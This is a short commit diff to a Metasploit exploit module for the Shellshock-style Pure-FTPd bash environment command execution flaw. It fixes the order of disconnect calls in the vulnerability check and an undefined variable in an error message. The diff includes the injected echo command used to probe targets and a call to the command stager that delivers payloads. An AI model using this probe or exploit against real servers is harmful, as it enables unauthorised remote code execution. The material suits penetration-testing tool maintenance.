Fix #4019, fix NameError peer and disconnect in check

modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb

@@ -75,11 +75,12 @@ def check
     random_id = (rand(100) + 1)
     command = "echo auth_ok:1; echo uid:#{random_id}; echo gid:#{random_id}; echo dir:/tmp; echo end"
     if send_command(username, command) =~ /^2\d\d ok./i
-      return CheckCode::Safe if banner !~ /pure-ftpd/i
       disconnect
+      return CheckCode::Safe if banner !~ /pure-ftpd/i
 
       command = "echo auth_ok:0; echo end"
       if send_command(username, command) =~ /^5\d\d login authentication failed/i
+        disconnect
         return CheckCode::Vulnerable
       end
     end
@@ -98,7 +99,7 @@ def exploit
     # Cannot use generic/shell_reverse_tcp inside an elf
     # Checking before proceeds
     if generate_payload_exe.blank?
-      fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload")
+      fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Failed to store payload inside executable, please select a native payload")
     end
 
     execute_cmdstager(linemax: 500)